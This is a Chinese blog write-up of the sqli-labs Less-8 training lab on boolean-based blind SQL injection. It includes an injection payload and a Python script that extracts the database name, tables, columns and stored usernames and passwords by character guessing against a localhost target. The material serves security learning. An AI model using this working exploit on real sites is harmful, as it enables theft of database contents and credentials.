当前位置:网站首页>sqlilabs less-8
sqlilabs less-8
2022-07-01 14:03:00 【永远是深夜该多好。】
先判断是数字还是字符呢
数字加字符还是没问题,是字符型了。再尝试构造。因为这次只会返回正确与否,所以考虑盲注。
先判断数据库长度
然后判断数据库名
这要用到
substr(内容,n,m)从内容的第n位截取m个 length() 还有一个关键的sql语句
?id=1’ and
substr((select group_concat(table_name) from information_schema.tables
where table_schema =database() ),1,1)=‘u’–+
工作量有点大,可以考虑burp suite 或者用脚本
import requests
url = 'http://localhost/sqlilabs/Less-8/?id=1\''
datalens = 0
datanamee = ''
sign = "You are in..........."
tablename = ''
columnlist = ''
list1= ['id','username','password','user','currentconnections','totalconnections']
valuelist = ''
#数据库长度
for i in range(10):
rl = str(i)
lenurl = url + "and length(database())=" + rl + "--+"
r = requests.get(lenurl)
if sign in r.text:
print("database len " + str(i))
datalens = i + 1
#数据库名
wordlist = "abcdefghijklmnopqrstuvwxyz"
for i in range(1,datalens):
dataname = url + "and substr(database()," + str(i) + "," +"1)"
for w in wordlist:
datanames = dataname + "=" + "'" + w + "'" + "--+"
r = requests.get(datanames)
if sign in r.text:
datanamee += w
print("database name " + datanamee)
#数据库表名
wordlist2 = "abcdefghijklmnopqrstuvwxyz,"
for i in range(1,100):
tableurl1 = url + " and substr((select group_concat(table_name) from information_schema.tables where table_schema = database())," + str(i) + ",1)="
for v in wordlist2:
tableurl = tableurl1 + "\'" + v + "\'" + "--+"
r = requests.get(tableurl)
if sign in r.text:
tablename += v
print("database table " + tablename)
#数据库字段名
for i in range(1,100):
columnurl1 = url + " and substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\' )," + str(i) + ",1)="
for v in wordlist2:
columnurl = columnurl1 + "\'" + v + "\'" + "--+"
r = requests.get(columnurl)
if sign in r.text:
columnlist += v
print("database colum " + columnlist)
print(list1)
#数据库元组
wordlist2 = "0123456789abcdefghijklmnopqrstuvwxyz,=-_/\\."
for n in range(6):
for i in range(1,200):
valueurl1 = url + " and substr((select group_concat(" + list1[n] + ") from users )," + str(i) + ",1)="
for v in wordlist2:
valueurl = valueurl1 + "\'" + v + "\'" + "--+"
r = requests.get(valueurl)
if sign in r.text:
valuelist += v
print("database " + list1[n] + ' ' + valuelist)
valuelist = ''
有目共睹,博主编程力有未逮,有待提高。
边栏推荐
- [machine learning] VAE variational self encoder learning notes
- [sword finger offer] 55 - I. depth of binary tree
- Go整合Logrus实现日志打印
- 力扣解法汇总241-为运算表达式设计优先级
- 2022年PMP项目管理考试敏捷知识点(6)
- Uni app realizes advertisement scroll bar
- Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its
- leetcode622. Design cycle queue (C language)
- [anwangbei 2021] Rev WP
- Build your own website (21)
猜你喜欢
使用 Lambda 函数URL + CloudFront 实现S3镜像回源
用栈实现队列、用队列实现栈(C语言_leetcode_232+225)
[IOT completion. Part 2] stm32+ smart cloud aiot+ laboratory security monitoring system
Fiori applications are shared through the enhancement of adaptation project
B站被骂上了热搜。。
【IoT毕设.上】STM32+机智云AIoT+实验室安全监控系统
How will the surging tide of digitalization overturn the future?
Interpretation of R & D effectiveness measurement framework
Kongsong (Xintong Institute) - cloud security capacity building and trend in the digital era
使用net core 6 c# 的 NPOI 包,读取excel..xlsx单元格内的图片,并存储到指定服务器
随机推荐
Introduction to distributed transactions (Seata)
2022 PMP project management examination agile knowledge points (6)
2022 · 让我带你Jetpack架构组件从入门到精通 — Lifecycle
TexStudio使用教程
El form item regular verification
el-form-item 正则验证
Six years of technology iteration, challenges and exploration of Alibaba's globalization and compliance
8 best practices to protect your IAC security!
进入前六!博云在中国云管理软件市场销量排行持续上升
What class loading mechanisms does the JVM have?
Go integrates logrus to realize log printing
使用 Lambda 函数URL + CloudFront 实现S3镜像回源
Admire, Ali female program undercover more than 500 black production groups
Texstudio tutorial
玩转gRPC—不同编程语言间通信
Uni app realizes advertisement scroll bar
Sign APK with command line
一文读懂TDengine的窗口查询功能
算网融合赋能行业转型,移动云点亮数智未来新路标
How will the surging tide of digitalization overturn the future?